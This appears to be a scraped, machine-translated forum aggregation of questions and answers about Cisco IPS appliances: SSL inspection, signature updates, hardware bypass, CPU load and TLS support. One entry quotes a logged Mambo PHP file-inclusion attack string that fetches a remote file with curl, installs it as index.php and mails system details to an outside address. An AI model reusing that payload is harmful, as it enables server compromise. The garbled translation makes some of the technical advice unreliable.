Cisco IPS and SSL Inspection?

Similar Questions

• Discussion using cisco termination and SSL inspection technology

  I want to know what options there in cisco for the following scenario platforms

  ", We are looking to update the infra, which currently houses a GNU / linux works as reverse proxy and dry mod that performs application-layer inspection."  The box rechiffre later traffic when he leaves the box which will be sent to the real target server. So, this one is set to complete termination and inspection of two traffic.

  The new material, we are looking for must have an option which is equivalent to the goal (termination and inspection) but attack itself improved in terms of high-end dry performance and gives more coverage.

  If the requirements are to:-

  • termination and inspection on a single box (preferred)
  • provides the ability to cover broad attack for Layer 7 traffic
  • Ideally, all units involved in the solution be CISCO.

  Please let me know if more explanation is needed, and how I can improve my question if necessary.

  Thank you.

  In both cases, the Cisco products use a trusted certificate issued by a certification authority private to terminate SSL sessions requested by customers. He rechiffre the flow during his visit to the target servers.

• AnyConnect and SSL - VPN without client

  Are there problems in running Cisco AnyConnect and SSL - VPN without client side by side?

  I am currently looking into adding features for an ASA AnyConnect who currently set up to operate without SSL - VPN client. The system without client is not removed. I don't know how to set it up, I wonder if someone has already set up this or if there is no problem with this Setup?

  Hi Daniel

  It's a little complicated if you want a granular authentication and authorization, but it works.

  I'm running an ASA with IPSec, SSL Client and clientless SSL.

  Each of these virtual private networks with user/one-time-password name and certificate based authentic.

  The main challenge is to put in place its own structure of profile cards, connection profiles, group policies and dynamic access policies.

  Feel free to ask questions...

  Stephan

• Recovery v1 in cisco IPS SSL Session key

  Hi all

  In network audit, I have the comment mentioned by the auditor for cisco IPS 4270 device. but I don't get any solution for the same thing. Kindly help me out on this.

  V1 SSL Session key recovery

  The remote SSH daemon supports connections made

  using the version 1.33 or 1.5 of the SSH

  Protocol. These protocols are not completely

  cryptographically safe so they should not be used.

  With respect,

  Sashi

  Currently there is no way only allow SSH version 2 and disable SSH version 1 on IPS.

  Here is the request for improvement which have been filed for your reference:CSCsk84977

  http://Tools.Cisco.com/support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCsk84977

  Hope that answers your question.

• Cisco JOINT and IPS hardware bypass

  Hi all

  I have a question about the Cisco JOINT, ASA - AIP - SSM (IPS) and material of the IPS 4200 bypass unit series. Please let me know if the material fails in both cases how to cross traffic. Is there any circumvention of integrated equipment built in the same

  Concerning

  Ankur

  Sorry for the late reply. I've been on vacation for a week.

  ByPass hardware is not available for the JOINT-2 no matter if you use inline vlan pairs or couples inline interface.

  For devices need special interface cards or a hardware bypass switch separate, and none of them are available on the JOINT-2.

  You must configure your network so that there is a second way around the JOINT 2 JOINT-2 failure.

  This can be done with a standard network cable.

  Suppose you have your JOINT-2 configured for inline vlan VLAN 10 matching and 20.

  Configure a standard switchport as an access port on vlan 10.

  Set up an another standard switchport as an access port on vlan 20.

  Now using a standard network cable connect these 2 all switch ports.

  Stop your JOINT-2 and traffic should now be passed through this network cable and your network connectivity must be maintained.

  Bring your JOINT-2 backup, and now spanning tree runs and will choose the JOINT-2 or the network as the main way and the other cable will set in a State of block.

  Run ' show vlan spanning-tree 10 ' and ' show vlan spanning tree 20 "to determine if the cable ports or port JOINT-2 is in a BLK State.»

  If the cable ports are in a State BLK, then you don't need to modify the spanning tree.

  If the JOINT-2 port is in a State BLK, then you need to change the spanning tree cost and/or priority for JOINT-2 port by using the following commands:

  -[No] port-channel channel_number-STP intrusion detection doesn't cost port_cost

  Defines the cost of port tree covering for the data port on the specified module. Without the option restore shipping tree covering for the data port on the module specified in the default value.

  -[not] port-channel channel_number spanning tree priority priority intrusion detection

  Sets the priority of the port spanning tree for the data port on the specified module. Without the option restores the priority of port spanning tree for the data port on the module specified in the default value.

  To learn more about spanning-tree and how these parameters interact with spanning tree you can look through this section of the user guide for the switch or to search cisco.com for documentation of spanning tree:

  http://www.Cisco.com/en/us/partner/docs/switches/LAN/catalyst6500/IOS/12.2Sx/configuration/guide/spantree.html

  NOTE: Your switch must be configured for rapid PVST for failover more rapid. Work with your administrator to switch to determine which spanning tree Protocol is used on your switch. The JOINT-2 does not work with STDS to ensure that STD is not used.

• estimate the time installation and configuration of addresses IP of Cisco (Cisco IPS NM at 3800, 2811, 2821 and no. 2851)

  / * Style definitions * / table. MsoNormalTable {mso-style-name : « Tabla normal » ; mso-tstyle-rowband-taille : 0 ; mso-tstyle-colband-taille : 0 ; mso-style-noshow:yes ; mso-style-priorité : 99 ; mso-style-qformat:yes ; mso-style-parent : » « ;" mso-rembourrage-alt : 0 à 5.4pt 0 à 5.4pt ; mso-para-margin : 0 ; mso-para-marge-bottom : .0001pt ; mso-pagination : widow-orphelin ; police-taille : 11.0pt ; famille de police : « Calibri », « sans-serif » ; mso-ascii-font-family : Calibri ; mso-ascii-theme-font : minor-latin ; mso-fareast-font-family : « Times New Roman » ; mso-fareast-theme-font : minor-fareast ; mso-hansi-font-family : Calibri ; mso-hansi-theme-font : minor-latin ; mso-bidi-font-family : « Times New Roman » ; mso-bidi-theme-font : minor-bidi ;}

  / * Style definitions * / table. MsoNormalTable {mso-style-name : « Tabla normal » ; mso-tstyle-rowband-taille : 0 ; mso-tstyle-colband-taille : 0 ; mso-style-noshow:yes ; mso-style-priorité : 99 ; mso-style-qformat:yes ; mso-style-parent : » « ;" mso-rembourrage-alt : 0 à 5.4pt 0 à 5.4pt ; mso-para-margin : 0 ; mso-para-marge-bottom : .0001pt ; mso-pagination : widow-orphelin ; police-taille : 11.0pt ; famille de police : « Calibri », « sans-serif » ; mso-ascii-font-family : Calibri ; mso-ascii-theme-font : minor-latin ; mso-fareast-font-family : « Times New Roman » ; mso-fareast-theme-font : minor-fareast ; mso-hansi-font-family : Calibri ; mso-hansi-theme-font : minor-latin ; mso-bidi-font-family : « Times New Roman » ; mso-bidi-theme-font : minor-bidi ;} Hi I need to estimate the time of installation and configuration of addresses IP of Cisco (Cisco IPS NM at 3800, 2811, 2821 and no. 2851).

  In your experience, would you give this information?

  Thanks for any help you can give on this subject.

  You are welcome. If things are clear please mark it as answered.

• Check the IPS and HTTPS

  Hello

  Cisco IPS/AIP module identify the HTTPS tunnel torrent traffic?

  IPS can inspect the https traffic to detect any anomaly?

  Kind regards.

  Hello

  In my humble OPINION by default, you cannot inspect all encrypted traffic.

  You need to have traffic ended on the SAA to decipher and then send to the client.

  HTH

  Parasmo

• use of 100% of Cisco ips 4270 cpu...

  Hi people I have cisco ips 4270 version 7.0 (2) E3 when I try to access through IDM his show the cpu1 CPU = 100% and 100% = cpu4, but vary cpu1 and cpu2 can you please tell me what will be the solution to this problem...

  When I try to go to the configuration then its give me error... attached document attached please check...

  Hello

  Having 100% on some of your CPU is normal on the platform of the IPS.

  The device uses cycles slowed down it is to prepare for the handling of incoming packets and reduce the delay that it will introduce on their way, then is expected to get even under low load.

  If you want to get a better idea of capacity by % of your IPS you are currently using, you should have a look at the value of the load of the Inspection. Looking at the data that you have provided, you are about 25% at present.

  For the message timeout rdep, it seems to be a software problem. Looking more closely at the image you attached, you can also see "analysis engine status: no answer.

  It is somewhat difficult to troubleshoot those on CSC, so I suggest to prosecute TAC if you want to know the exact origin of cause.

  What I advise is upgraded to the latest code of 7 (0) which is I believe 7.0 E4 (5A), since it is more then likely fixed in this version.

  If you are looking for a quick fix, a reboot of the PPE must erase this but the problem will more then likely return later.

  Kind regards

  Nicolas

• Not entirely taken TLS supported in Cisco IPS 4240

  I am trying to contact a Cisco IPS 4240 device while having security settings FIPS enabled on the client using SSL. This is not possible because the device does not support TLS extensions in the Client Hello packet (RFC 5746) sent by the client when using TLS (SSL3 and lower are not FIPS compatible). The IDM application that communicates with the device does not send these extensions (im seeing this with WireShark) TLS is able to connect to it.

  Is it possible to provide the 4240 support these TLS extensions?

  This is related to the bugs below.  The original solution will be included in the 7.1.5 release which is preparing to take in charge the platform 4240 among others.  This will allow the Web server IPS to ignore short-term extensions.  The long-term solution will require an update to the Web server so that it is fully compliant with RFC 5746.

  http://Tools.Cisco.com/support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtt18382

  http://Tools.Cisco.com/support/BugToolKit/search/getBugDetails.do?method=fetchBugDetails&bugId=CSCtx43502

  Todd

• Upgrade version of CISCO IPS signature

  Hi guys:

  Anyone know the process for updating the signature on a CISCO IPS version, I want to do it manually. If somedoy can tell me the orders and all I have to do this.

  Concerning

  Luis;

  Updats manual signature for Cisco IPS sensors can be performed from the CLI as shown here:

  http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/CLI/cli_system_images.html#wp1142504

  Or from the interface of the IDM as shown here:

  http://www.Cisco.com/en/us/docs/security/IPS/7.0/Configuration/Guide/IDM/idm_sensor_management.html#wp2126670

  This process is also used to upgrade software base of the probe.

  Scott

• PHP exploit triggers Cisco Security Agent but NOT at Cisco IPS... why?

  Does anyone know what signing this feat should trigger with the Cisco IPS sensor? You are not sure if there is one, or if we turned it off?

  We see this feat hit our Exchange servers several times during the week.

  The process of "C:\WINNT\System32\inetsrv\inetinfo.exe" (as user NT AUTHORITY\SYSTEM) received the data ' / index2.php? option = com_content & do_pdf = 1 & id = 1index2.php? _REQUEST [option] = com_content & _REQUEST [Itemid] = 1 & GLOBALS = & mosConfig_absolute_path =http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http: / / 220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_66. 224.194.188%[email protected] / * /; uname%20-a%20|%20Mail%20-s%20uname_i2_66.224.194.188%[email protected] / * /. com; echo |'.

  I think that this could be the exploit of mambo. See http://www.securityfocus.com/archive/1/archive/1/427196/100/0/threaded for the info. I searched on mambo MySDN and found GIS 5163 "Mambo Site Server Administration Password ByPass" here is a snippet of the description: "administrative access is acquired by sending a specific url using the index2.php script and the PHPSESSID variable." This looks like what you pasted. Note "index2.php". Your IPS can not seen this so it was more than 443.

  Hope this helps

  M

• Cisco IPS

  Hi all

  Take over some jobs maitainence on IPS and it then, I need help!

  ASA5510-AIP10-K9 with license expires a year. Motor still works well but no update of the signature.

  Question 1

  What is the SKU for license renewal? can you please paste the URL linked here?

  Question 2

  The IPS engine is version 6,0000 E4. Intend to upradge to 8,0000 E4 version.

  What is the propper upgrade path? Should I start by 7.0000 E4, then followed by 8,0000 E4

  or 7.0 (8) E4 patches are cumulative, so only need to apply the latest version?

  Question 3

  This is the little piece of capture "display version":

  Using 1032495104 bytes of available memory (65% of use) 675745792

  system is using 17.4 M 38.5 m bytes of disk space available (45% of use)

  application data using 48.4 M off 166,6 M bytes of disk space available (31% of use)

  startup is using 45.6 M 68.5 m bytes of disk space available (70% of use)

  Application log using 123.5 M off 513,0 M bytes of disk space available (24% of use)

  The upgrade of the motor system will cause the IPS running out of space? I focus on the second statement.

  Millions of thanks to all

  Noel

  1 as described in this document, you must have the support of IPS for your ASA - this is a service contract that includes the ASA equipment and software SMARTnet until updates of signature and software IPS. more commonly classified in support is "AR NBD" (Advance replacement the next day) and Cisco SKU CON-SU1-AS1A10K9.

  2. I think 7.0000 that e4 is the current version. You can upgrade to that (or 7.0 (8) E4) directly from your current version. Please see the readme file.

  3. your available space should be fine.

• Cisco IPS 4200 Signature Update

  We are currently under evaluation and implementation of the Cisco IPS solution to our security needs.

  Our supplier has said that the signature 'online' updates to Cisco IPS is not possible - this is a manual process and we need to charge the device if you want to update the files.

  Somehow, it defies logic. Surely, I think, that any IP address should have the possibility of obtaining signatures updated "online".

  I apologize, because that question is too basic in nature. But could someone shed more light on this?

  Thank you.

  You have auto update functionality of Cisco IPS version 6.0, take a look at the attached picture.

  Update of signatures is * recommended * that you reload the signatures (restart the sensor), although this is not mandatory.

  Our IPS has not been restarted for over two months now and everything is working ok.

  Automatic update

  Automatic update

  Automatic update

• ASR1K and SSL VPN

  I'm having trouble finding information on SSL VPN for ASR1K, when we bought the boxes told us that SSL VPN was on the roadmap of the software, but that was back in 2010 and now I can not find anything nor can I get the right information.

  Does anyone have a recommendation on what to do or who to ask?

  PLS, contact your Cisco account manager as he or she would be able to provide additional information.

  There is normally a long list of features to add to the product, and SSL VPN is one of them who was asked to appear on the ASR. However, depending on the needs, it might be on the top of the list of the road map, or to the bottom of the list. Your Cisco AM should be able to get information from the product team.

• How to configure e-mail notification in Cisco IPS-

  Hi team,

  How to set up email notification in Cisco IPs 4200.

  I have the EV, and no cisco works.

  Is it possible only through works of cisco?

  concerning

  Rajesh P

  You can just click edition, preferences, and then check the box to enable e-mail. Type your SMTP address, address and address of the recipient. Choose which alerts you want to be notified (high, medium...). You can just tweak it as you like (change notification interal, content... etc). I hope this helps!